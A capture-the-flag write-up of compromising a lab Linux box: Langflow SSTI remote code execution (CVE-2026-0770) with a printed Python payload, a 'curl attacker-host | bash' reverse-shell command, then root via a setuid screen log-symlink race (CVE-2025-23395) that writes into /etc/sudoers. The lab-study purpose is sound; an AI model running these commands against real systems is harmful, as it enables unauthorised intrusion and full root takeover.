Myles Nieman
← All writeups

TemplTrap

Overview

TemplTrap is an easy Linux box running a Langflow AI server behind nginx. The instance is vulnerable to CVE-2026-0770, a server-side template injection (SSTI) flaw in the /api/v1/validate/code endpoint that produces unauthenticated remote code execution. After landing a shell as karen, the setuid screen binary (version 5.0.0) is exploited via CVE-2025-23395 — its log-file symlink race — to append a NOPASSWD sudoers entry and escalate to root.

Path: Langflow CVE-2026-0770 SSTI RCE → shell as karen → screen 5.0.0 CVE-2025-23395 log symlink → /etc/sudoers → root.

Enumeration

A default nmap scan returns only two open ports:

$ nmap -A 10.129.237.231
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Modern PromptFlow AI Landing Page
| http-robots.txt: 1 disallowed entry
|_/studio

Nmap results showing SSH and nginx on the target

The robots.txt entry disallowing /studio is a strong hint at a Langflow installation — Langflow’s UI lives at that path. The title “Modern PromptFlow AI Landing Page” confirms the application.

Foothold — CVE-2026-0770 (Langflow SSTI RCE)

Browsing to port 80 reveals a Langflow front-end. The application exposes a /api/v1/validate/code endpoint that evaluates Python code inside a Jinja template context without sanitization.

Langflow API endpoint exposed on the target

Validate-code endpoint detail showing the injectable surface

The public PoC for CVE-2026-0770 (affix/CVE-2026-0770-PoC) handles auto-login with default credentials and then posts an SSTI payload shaped like:

def exploit(
    _=( lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}{r.stderr}")) )(
        __import__('subprocess').run({repr(command)}, shell=True, capture_output=True, text=True)
    )
):
    pass

This is a classic Python SSTI primitive: the subprocess.run call executes arbitrary shell commands and the exception message exfiltrates the output. To catch a reverse shell, I hosted a shell script and ran:

$ python3 poc.py -t http://10.129.1.241 -c 'curl 10.10.14.15:80/shell.sh | bash'
[*] Target: http://10.129.1.241
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: curl 10.10.14.15:80/shell.sh | bash

CVE-2026-0770 PoC fires and delivers the reverse shell

The shell arrives as karen, the user running Langflow.

User

The user flag is in karen’s home directory:

karen@templtrap:~/langflow-1.2.0$ cat ~/user.txt
7a8540474f3c5293402eafbbde07a106

Searching for setuid binaries turns up screen:

karen@templtrap:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/screen
...
karen@templtrap:~$ screen -v
Screen version 5.0.0 (build on 2025-06-15 00:06:38)

Screen 5.0.0 with setuid-root is vulnerable to CVE-2025-23395: when logging is enabled (Ctrl-A H), the log file is opened with root privileges. If the log path is first replaced by a symlink pointing to a privileged file, screen writes there as root. The exploit chain is:

Shell 1 — start a screen session with a custom log path and enable logging:

(shell1) karen$ screen -Logfile $HOME/malicious.log
(screen)  <Ctrl-A H>

Shell 2 — atomically replace the log file with a symlink to /etc/sudoers:

(shell2) karen$ rm $HOME/malicious.log; ln -s /etc/sudoers $HOME/malicious.log

Back in the screen session — echo the sudoers entry; screen logs it to /etc/sudoers as root:

(screen) karen$ echo -e "\nkaren ALL=(ALL) NOPASSWD: ALL"

Root

With the sudoers entry in place, escalating is trivial:

karen@templtrap:~$ sudo bash
root@templtrap:~#

Root shell obtained after the screen CVE-2025-23395 exploit

Takeaways

  • CVE-2026-0770 (Langflow SSTI) turns an exposed AI-workflow server into a one-command RCE — default credentials plus an unsanitized code-validation endpoint require no prior auth.
  • setuid screen 5.0.0 (CVE-2025-23395) is a privileged arbitrary-write primitive: the log-file symlink race lets any local user overwrite any root-owned file, making /etc/sudoers an obvious target.